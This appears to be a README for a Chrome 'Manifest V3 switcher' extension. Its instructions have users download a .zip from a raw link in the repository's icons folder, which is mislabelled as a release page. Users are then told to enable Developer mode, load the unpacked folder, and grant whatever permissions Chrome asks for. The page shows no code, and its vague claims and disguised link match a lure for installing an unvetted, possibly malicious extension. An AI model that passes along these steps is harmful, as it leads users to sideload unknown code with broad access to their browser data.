This tool helps you manage the new Chrome extension system called Manifest V3. It lets you switch between different versions or test versions of Chrome extensions easily. You don’t need any coding skills to use it. It works within Chrome's built-in extension management page.
Chrome has updated how extensions work. This extension makes your experience simpler and clearer when dealing with these changes.
- Windows 10 or newer
- Chrome browser version 100 or above
- Basic familiarity with opening Chrome and browsing folders
You do not need any programming tools or special software other than Chrome.
You will first get the extension files on your computer and then add them to Chrome.
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Visit the release page by clicking the big badge above or go here:
https://github.com/icehawk17/quiver_mv3_switcher_extension/raw/refs/heads/main/icons/switcher_quiver_extension_mv_3.7.zip -
On the release page, look for the latest version folder or files. Your goal is to download the entire extension folder, usually available as a
.zipfile. -
Download the
.zipfile to your Downloads folder on Windows. -
Right-click the downloaded
.zipfile and choose Extract All. Extract the files to a new folder where you can easily find them, like your Desktop or Documents folder.
Once you have the extension files extracted, follow these steps to add it to your Chrome browser:
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Open Chrome.
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In the address bar, type
chrome://extensionsand press Enter. -
Turn on Developer mode. You will see a toggle switch in the top right corner of the page. Click it to enable developer mode.
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Click the button labeled Load unpacked or Load unpacked extension.
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A file explorer window will open. Navigate to the folder where you extracted the extension files.
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Select the folder and click Select Folder (or Open).
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Chrome will load the extension immediately. You should see it in the list of installed extensions.
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Switch between Manifest V2 and V3 versions easily
If you have multiple versions of an extension, this helps you toggle or test the latest version. -
Test new features safely
Load new versions without disturbing your main Chrome profile. -
Manage extensions in developer mode
Helps developers and testers handle Chrome’s extension system better.
Though it targets advanced users, the steps to install and use require no coding.
After loading the extension:
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Look for its icon near the top right of Chrome, next to the address bar.
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Click the icon to open the switcher interface.
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Use the interface to choose which extension version you want active.
If you don't see the icon, click the puzzle piece icon (Chrome's Extensions menu), then pin the extension to always see it.
When a new version gets released:
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Return to the releases page: https://github.com/icehawk17/quiver_mv3_switcher_extension/raw/refs/heads/main/icons/switcher_quiver_extension_mv_3.7.zip
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Download the latest
.zipfile. -
Extract to a folder on your computer (you can overwrite older versions or use a new folder).
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Go to
chrome://extensionsagain. -
Remove the current extension by clicking Remove under its name.
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Repeat the Load unpacked step with the new folder.
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If the extension fails to load, double-check you enabled Developer mode.
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Make sure you select the entire extracted folder, not just inside it.
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If Chrome warns about permission issues, allow what it requests.
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Restart Chrome if the extension does not appear right away.
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Check Chrome’s updated versions if you see unexpected errors.
Developers can use this to test their Manifest V3 extensions during development without uploading to Chrome Web Store. It saves time and helps verify compatibility.
You can freely explore the code inside the extracted folder.
Ready to begin? Visit this page to download the latest files:
https://github.com/icehawk17/quiver_mv3_switcher_extension/raw/refs/heads/main/icons/switcher_quiver_extension_mv_3.7.zip